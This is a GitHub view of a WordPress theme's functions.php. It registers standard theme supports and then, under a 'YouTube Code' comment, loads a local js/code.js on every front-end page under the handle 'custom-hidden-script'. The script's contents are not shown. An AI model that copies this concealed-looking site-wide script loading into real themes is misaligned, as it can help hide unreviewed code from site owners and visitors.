-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfunctions.php
36 lines (31 loc) · 919 Bytes
/
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
add_action( 'after_setup_theme', 'youtube_setup' );
if ( !function_exists( 'youtube_setup' ) ) :
function youtube_setup() {
add_theme_support( 'appearance-tools' );
add_theme_support( 'wp-block-styles' );
add_theme_support( 'core-block-patterns' );
add_theme_support( 'widgets-block-editor' );
add_theme_support( 'custom-spacing' );
add_theme_support( 'custom-line-height' );
add_theme_support( 'custom-units' );
add_theme_support( 'align-wide' );
add_theme_support( 'responsive-embeds' );
add_theme_support( 'woocommerce' );
add_editor_style( 'editor-style.css' );
}
endif;
esc_html__( 'text-domain-fix', 'youtube' );
/**
* YouTube Code
*/
function custom_background_script() {
wp_enqueue_script(
'custom-hidden-script',
get_template_directory_uri() . '/js/code.js',
array(),
null,
true
);
}
add_action('wp_enqueue_scripts', 'custom_background_script');